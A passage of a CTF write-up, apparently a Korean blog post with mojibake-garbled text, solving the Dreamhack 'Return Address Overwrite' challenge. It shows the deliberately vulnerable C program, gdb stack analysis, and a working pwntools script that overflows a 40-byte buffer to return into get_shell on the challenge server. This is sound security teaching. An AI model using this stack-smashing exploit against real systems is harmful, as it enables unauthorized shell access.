1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/351/
Return Address Overwrite
Description Exploit Tech: Return Address Overwrite์์ ์ค์ตํ๋ ๋ฌธ์ ์ ๋๋ค.
dreamhack.io
๋๋ฆผํต ๊ฐ์ https://learn.dreamhack.io/58 ๋ฅผ ๋ณด๋ฉด์ ํ์ดํ์์ต๋๋ค.
2. ํด๊ฒฐ ๊ณผ์
(1) ์ฝ๋ ํ์ธ
๋จผ์ ์ ๋ ฅ ๊ธธ์ด์ ๋ํ ๊ฒ์ฆ์ด ์๋ scanf๋ฅผ ์ฐ๊ณ ์์ผ๋ฏ๋ก, ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
scanfํจ์์ ํฌ๋งท ์คํธ๋ง ์ค ํ๋์ธ %s๋ ๋ฌธ์์ด์ ์ ๋ ฅ๋ฐ์ ๋ ์ฌ์ฉํ๋ ๊ฒ์ผ๋ก, ์ ๋ ฅ์ ๊ธธ์ด๋ฅผ ์ ํํ์ง ์์ผ๋ฉฐ, ๊ณต๋ฐฑ ๋ฌธ์์ธ ๋์ด์ฐ๊ธฐ, ํญ, ๊ฐํ ๋ฌธ์ ๋ฑ์ด ๋ค์ด์ฌ ๋๊น์ง ๊ณ์ ์ ๋ ฅ์ ๋ฐ๋๋ค๋ ํน์ง์ด ์๋ค.
- get_shell(): execve()๋ฅผ ํธ์ถํ์ฌ /bin/sh ์์ ์คํํ๋ ํจ์. ์ฆ, ์ด ํจ์๊ฐ ์คํ๋๋ฉด ์์ ์ป์ ์ ์์
- main
- buf[0x28] → 0x28(= 40) ๋ฐ์ดํธ ํฌ๊ธฐ์ ๋ก์ปฌ ๋ณ์.
- scanf("%s", buf); → ๋ฒํผ ํฌ๊ธฐ ์ ํ ์์ด ๋ฌธ์์ด์ ์ ๋ ฅ๋ฐ๋ ์ฝ๋๋ก, ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ๋ฐ์ ๊ฐ๋ฅ
- buf๊ฐ main() ํจ์์ ์คํ ํ๋ ์์ ์์นํ๊ธฐ ๋๋ฌธ์, ์ด ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ํจ์ ๋ฆฌํด ์ฃผ์๋ฅผ ๋ฎ์ด์ฐ๋ฉด get_shell() ํจ์๋ฅผ ์คํํ ์ ์์.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
mainํจ์์ ์คํ ํ๋ ์์ ๊ทธ๋ ค๋ณด๋ฉด ์๋์ ๊ฐ๋ค.
๋ฐ๋ผ์ buf๊ฐ์ 40๋ฐ์ดํธ๋ณด๋ค ์ถฉ๋ถํ ๊ธธ๊ฒ ์ ๋ ฅํด์(64๋ฐ์ดํธ) ๋ฆฌํด ์ฃผ์๋ฅผ get_shell() ํจ์์ ์ฃผ์๋ก ๋ฎ์ด์ฐ๋ ๊ฒ์ด๋ค
--------------------------------
| ... ์ด์ ํจ์์ ์คํ ... |
--------------------------------
| ๋ฆฌํด ์ฃผ์ (caller์ ์ฃผ์) | <-- main()์ด ์ข
๋ฃ๋๋ฉด ์ฌ๊ธฐ์ ์ ์ฅ๋ ์ฃผ์๋ก ๋ณต๊ท
--------------------------------
| saved RBP (์ด์ RBP ๊ฐ) | <-- main() ํจ์ ์ง์
์์ ์ด์ RBP ๊ฐ
--------------------------------
| buf (0x28 ๋ฐ์ดํธ, 40B) | <-- ์ง์ญ ๋ณ์ (๋ฒํผ)
--------------------------------
(2) ๋ฐ์ด๋๋ฆฌ ํ์ผ ์คํ
- -o rao: ์ปดํ์ผ๋ ์ถ๋ ฅ ํ์ผ ์ด๋ฆ์ 'rao'๋ก ์ง์
- rao.c: ์ปดํ์ผํ ์์ค ์ฝ๋ ํ์ผ๋ช
- -fno-stack-protector: ์คํ ๋ณดํธ ๊ธฐ๋ฅ ๋นํ์ฑํ
- ์คํ ์ค๋ฒํ๋ก์ฐ ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๋ "์นด๋๋ฆฌ(canary)" ๊ฐ์ ์ฝ์ ํ์ง ์๋๋ก ํจ
- -no-pie: Position Independent Executable ๊ธฐ๋ฅ์ ๋นํ์ฑํ
- ํ๋ก๊ทธ๋จ์ด ๋ฉ๋ชจ๋ฆฌ์ ๋๋คํ ์ฃผ์์ ๋ก๋๋๋ ๊ฒ์ ๋ฐฉ์ง
์ค์ ๋ก ์ ๋ ฅ์ ์ฃผ์์ ๋, ์งง์ ์ ๋ ฅ์ ์คฌ์ ๋๋ ์ ์์ ์ผ๋ก ํ๋ก๊ทธ๋จ์ด ์ข ๋ฃ๊ฐ ๋์ง๋ง, ๊ธด ์ ๋ ฅ๊ฐ์ ์ฃผ์์ ๋์๋ Segmentation fault๋ผ๋ ์๋ฌ๊ฐ ์ถ๋ ฅ๋๋ค.
์ด๋ ํ๋ก๊ทธ๋จ์ด ์๋ชป๋ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์์ ์ ๊ทผํ๋ค๋ ์๋ฏธ์ด๋ฉฐ, ํ๋ก๊ทธ๋จ์ ๋ฒ๊ทธ๊ฐ ๋ฐ์ํ๋ค๋ ์ ํธ์ด๋ค.
์ด๋ ๋ค์ (core dumped)๋ ์ฝ์ดํ์ผ(core)์ ์์ฑํ๋ค๋ ๊ฒ์ผ๋ก, ์ด๋ ํ๋ก๊ทธ๋จ์ด ๋น์ ์ ์ข ๋ฃ๋์ ๋, ๋๋ฒ๊น ์ ๋๊ธฐ ์ํด ์ด์์ฒด์ ๊ฐ ์์ฑํด์ฃผ๋ ๊ฒ์ด๋ค.
*Ubuntu 20.04 ๋ฒ์ ์ด์์ ๊ธฐ๋ณธ์ ์ผ๋ก /var/lib/apport/coredump ๋๋ ํ ๋ฆฌ์ ์ฝ์ด ํ์ผ์ ์์ฑ
** ์ฝ์ด ํ์ผ ์์ฑ๋์ง ์์์ ๊ฒฝ์ฐ: ๋ฆฌ๋
์ค๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฝ์ด ํ์ผ์ ํฌ๊ธฐ์ ์ ํ์ ๋๊ณ ์๋ค. ๋ฐ์ด๋๋ฆฌ๊ฐ ์ธ๊ทธ๋จผํ
์ด์
ํดํธ๋ฅผ ๋ฐ์์ํค๊ณ ๋ ์ฝ์ดํ์ผ์ ์์ฑํ์ง ์์๋ค๋ฉด, ์์ฑํด์ผํ ์ฝ์ดํ์ผ์ ํฌ๊ธฐ๊ฐ ์ด๋ฅผ ์ด๊ณผํ๊ธฐ ๋๋ฌธ์ด๋ค.
๋ฐ๋ผ์ ํฌ๊ฒ ์ ํ์ ํด์ ํ๊ณ , ๋ค์ ์ค๋ฅ๋ฅผ ๋ฐ์์ํค๋ฉด ์ฝ์ด ํ์ผ์ ์ป์ ์ ์๋ค. $ ulimit -c unlimited
๋ค์์ผ๋ก๋ ์ด ์ฝ์ดํ์ผ์ gdb๋ฅผ ์ด์ฉํด์ ๋ถ์ํด๋ณผ ๊ฒ์ด๋ค.
- rao: ๋๋ฒ๊น ํ๋ ค๋ ํ๋ก๊ทธ๋จ์ ์ด๋ฆ
- -c core.1828876: ์ฝ์ด ๋คํ ํ์ผ์ ์ง์
gdb rao -c {์ฝ์ด ํ์ผ ์ด๋ฆ}
[์คํ ๊ฒฐ๊ณผ]
- ํ๋ก๊ทธ๋จ์ด SIGSEGV (์ธ๊ทธ๋ฉํ
์ด์
ํดํธ) ์ ํธ๋ก ๋น์ ์ ์ข
๋ฃ๋์๋ค.
- ํฌ๋์ ์ง์ : #0 0x0000000000400729 in main ()
- ์ด ์ฃผ์๋ main ํจ์์ ret ๋ช ๋ น์ด ์์น(main+65)
- ๋ ์ง์คํฐ
- RBP: 0x4141414141414141 - ASCII๋ก 'AAAAAAAA' ์๋ ๋ฒ ์ด์ค ํฌ์ธํฐ๊ฐ ์ฌ์ฉ์ ์ ๋ ฅ์ผ๋ก ๋ฎ์ด์์์ก์
- RSP: ์คํ ํฌ์ธํฐ๋ 0x7ffe7f4dcdd8๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์์ผ๋ฉฐ, ์ด๊ณณ์ 'AAAAAAAA'๊ฐ ์๋ค.
- RIP: ๋ช ๋ น์ด ํฌ์ธํฐ๋ 0x400729๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์์ผ๋ฉฐ, ์ด๋ ret ๋ช ๋ น์ด๋ค.
์ ์ ์คํ ๊ตฌ์กฐ ์ค๋ฒํ๋ก์ฐ ํ ์คํ
+------------------+ +------------------+
(๋ฎ์ ์ฃผ์) | ๋ฆฌํด ์ฃผ์ | | ๋ฆฌํด ์ฃผ์ |
| 0x0000004004d0 | --> | 0x4141414141414141| <- 'AAAAAAAA'
+------------------+ +------------------+
| Saved RBP | | Saved RBP |
| 0x00007fff... | --> | 0x4141414141414141| <- 'AAAAAAAA'
+------------------+ +------------------+
| | | |
| buf[0x28] | | buf[0x28] |
| (40๋ฐ์ดํธ) | | (40๋ฐ์ดํธ) |
| | | |
| 0x0000000000... | --> | 0x4141414141414141| <- 'AAAAAAAA'
| 0x0000000000... | --> | 0x4141414141414141| <- 'AAAAAAAA'
| 0x0000000000... | --> | 0x4141414141414141| <- 'AAAAAAAA'
| 0x0000000000... | --> | 0x4141414141414141| <- 'AAAAAAAA'
(๋์ ์ฃผ์) | 0x0000000000... | --> | 0x4141414141414141| <- 'AAAAAAAA'
+------------------+ +------------------+
์ด๋ mainํจ์๊ฐ ๋๋ ๋ค ๋์๊ฐ ์ฃผ์(๋ฆฌํด ์ฃผ์)๊ฐ ์ ํจํ ๊ฐ์ด ์๋๋ฏ๋ก ์ธ๊ทธ๋จผํธ ํดํธ๊ฐ ๋ฐ์ํ์ฌ ํ๋ก๊ทธ๋จ์ด ๋น์ ์ ์ข ๋ฃ๊ฐ ๋ ๊ฒ์ด๋ค. ๋ฐ๋ผ์ ์์ ๋งํ๋ฏ์ด ์ํ๋ ํจ์(get_shell)๋ฅผ ์คํํ๊ธฐ ์ํด์๋ ํด๋น ํจ์์ ์ฃผ์๋ฅผ ๋ฆฌํด ์ฃผ์์ ๋ฎ์ด์จ์ฃผ๋ฉด ๋๋ค.
(3) ์คํ ๊ตฌ์กฐ ํ์ธ (๋๋ฒ๊น )
์คํ ๋ฒํผ์ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ฐ์์์ผ์ ๋ฐํ์ฃผ์๋ฅผ ๋ฎ์ผ๋ ค๋ฉด, ์ฐ์ ํด๋น ๋ฒํผ๊ฐ ์คํ ํ๋ ์์ ์ด๋์ ์์นํ๋์ง ์ ํํ ์์์ผ ํ๋ค. ์ง์ ๋๋ฒ๊น ํ๋ฉฐ ํ์ธํ ์ ์๋ค.
main์ break๋ฅผ ๊ฑธ์ด ๋๋ฒ๊น ํด๋ณด๋ฉด ๋ฉ์ธ ํจ์๋ ์คํ์ 0x30(48) ๋ฐ์ดํธ ๊ณต๊ฐ์ ํ ๋นํ๊ณ ,
0x4006e8 <main> push rbp # ์ด์ RBP ์ ์ฅ
0x4006e9 <main+1> mov rbp, rsp # ์ ๋ฒ ์ด์ค ํฌ์ธํฐ ์ค์
0x4006ec <main+4> sub rsp, 0x30 # ์คํ์ 0x30(48) ๋ฐ์ดํธ ๊ณต๊ฐ ํ ๋น
0x40070b <main+35> lea rax, [rbp - 0x30] # ๋ฒํผ ์ฃผ์๋ฅผ RAX์ ๋ก๋
0x40070f <main+39> mov rsi, rax # ๋ฒํผ ์ฃผ์๋ฅผ RSI(scanf ๋ ๋ฒ์งธ ์ธ์)์ ๋ณต์ฌ
0x400712 <main+42> lea rdi, [rip + 0xab] # "%s" ํฌ๋งท ๋ฌธ์์ด ์ฃผ์๋ฅผ RDI์ ๋ก๋
0x400719 <main+49> mov eax, 0 # ๊ฐ๋ณ ์ธ์ ํจ์ ํธ์ถ ์ค๋น
0x40071e <main+54> call __isoc99_scanf@plt # scanf ํจ์ ํธ์ถ
+------------------+
(๋ฎ์ ์ฃผ์) | ํจ์ ์ธ์๋ค |
+------------------+
| ๋ฆฌํด ์ฃผ์ | <- ์ด ๊ฐ์ get_shell() ์ฃผ์๋ก ๋ณ๊ฒฝ
+------------------+
| ์ ์ฅ๋ RBP | <- ์ด ๊ฐ์ ๋ฎ์ด์จ๋ ๋ฌธ์ ์์
+------------------+
| buf[0x28] | <- 40๋ฐ์ดํธ ๋ฒํผ
| (40๋ฐ์ดํธ) |
(๋์ ์ฃผ์) +------------------+
์ฆ, ๋ฒํผ์์ ๋ฆฌํด ์ฃผ์๊น์ง์ ๊ฑฐ๋ฆฌ๋ 56๋ฐ์ดํธ์ด๋ค.
- ๋ฒํผ ํฌ๊ธฐ: 0x30(48) ๋ฐ์ดํธ (์ปดํ์ผ๋ฌ๊ฐ ํ ๋นํ ์ค์ ํฌ๊ธฐ)
- ์ฝ๋์์๋ 0x28์ผ๋ก 40๋ฐ์ดํธ๋ฅผ ํ ๋นํ์ง๋ง, ์ปดํ์ผ๋ฌ๊ฐ ์ค์ ๋ก ํ ๋นํ ๋ฒํผ์ ํฌ๊ธฐ๋ 48๋ฐ์ดํธ์ด๋ค. ์ด๋ ์ฑ๋ฅ ์ต์ ํ๋ฅผ ์ํด ์คํ์ ํน์ ๊ฒฝ๊ณ(๋ณดํต 16๋ฐ์ดํธ)์ ๋ง์ถฐ ์ ๋ ฌํ๊ธฐ ๋๋ฌธ์ด๋ค. ๋ฐ๋ผ์ 40๋ฐ์ดํธ ๋ฒํผ๋ฅผ ํ ๋นํ ๋ 48๋ฐ์ดํธ๋ก ์ฌ๋ฆผํ์ฌ 16๋ฐ์ดํธ ๊ฒฝ๊ณ์ ๋ง์ถ ์ ์๋ค.
- Saved RBP: 8 ๋ฐ์ดํธ
(4) get_shell() ์ฃผ์ ํ์ธ
์ฐ๋ฆฌ๋ get_shell()์ ์ฃผ์๋ก return address๋ฅผ ๋ฎ์ด์ผ ํ๋ค.get_shell() ์ ์ฃผ์๋ฅผ ์ฐพ๊ธฐ ์ํด gdb๋ฅผ ์ฌ์ฉํ ์ ์๋ค.
ํจ์์ ์ฃผ์ ๋ฐ ์ ๋ณด๋ฅผ ์ ์ ์๋ ๋ช ๋ น์ด๋ ์๋์ ๊ฐ๋ค.
- print :ํจ์ ์ด๋ฆ์ ์ธ์๋ก ๋ฐ์ ํด๋น ํจ์์ ์ฃผ์ ์ถ๋ ฅ
- info address: ํจ์๋ ๋ณ์์ ๋ฉ๋ชจ๋ฆฌ ์์น์ ๋ํ ์์ธํ ์ ๋ณด๋ฅผ ์ ๊ณต
- disassemble : ํจ์์ ์ด์ ๋ธ๋ฆฌ ์ฝ๋๋ฅผ ์ถ๋ ฅํ๋ฉด์ ํจ์์ ์์ ์ฃผ์๋ฅผ ํฌํจํ ์ ๋ณด ๋ณด์ฌ์ค
- x : ์ง์ ๋ ๋ฉ๋ชจ๋ฆฌ ์์น(์ด ๊ฒฝ์ฐ ํจ์ ์ด๋ฆ)์ ๋ด์ฉ์ ๊ฒ์ฌ
์ด๋ฅผ ํตํด get_shell ํจ์์ ์ฃผ์๋ 0x4006aa ๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
(5) ํ์ด๋ก๋ ์์ฑ
ํ์ด๋ก๋๋ pwntools ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํด์ ์์ฑํ์๋ค.
- p64(): 64๋นํธ ๊ฐ์ ๋ฆฌํ ์๋์ ๋ฐ์ดํธ ์์๋ก ๋ณํํ๋ ๊ฒ์ด๋ค.
- remote(host, port): ์ง์ ๋ ํธ์คํธ์ ํฌํธ์ TCP ์ฐ๊ฒฐ์ ์์ฑ
- r.recvuntil(delimiter): ํน์ ๋ฌธ์์ด(delimiter)์ด ๋์ฌ ๋๊น์ง ๋ฐ์ดํฐ๋ฅผ ๋ฐ๋๋ค.
- delimiter: ์์ ์ ์ค๋จํ ๊ธฐ์ค ๋ฌธ์์ด (์: b'Input: ')
- r.sendline(data): ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๊ณ ์ค๋ฐ๊ฟ ๋ฌธ์(\n)๋ฅผ ์ถ๊ฐํ๋ค
- r.interactive(): ๋ํํ ๋ชจ๋๋ก ์ ํํ์ฌ ์ฌ์ฉ์๊ฐ ์ง์ ์๊ฒฉ ํ๋ก์ธ์ค์ ์ํธ์์ฉํ ์ ์๊ฒ ํ๋ค.
from pwn import *
# get_shell() ํจ์์ ์ฃผ์
get_shell_addr = 0x4006aa
# ๋ฒํผ๋ถํฐ ๋ฆฌํด ์ฃผ์๊น์ง์ ๊ฑฐ๋ฆฌ: 56๋ฐ์ดํธ (0x38)
padding = b'A' * 0x38
# ํ์ด๋ก๋ ๊ตฌ์ฑ: ํจ๋ฉ + get_shell ํจ์ ์ฃผ์
payload = padding + p64(get_shell_addr)
# ์๊ฒฉ ์๋ฒ์ ์ฐ๊ฒฐ
r = remote('host1.dreamhack.games', 11426)
print(r.recvuntil(b'Input: '))
r.sendline(payload)
r.interactive()
(6) ์ต์คํ๋ก์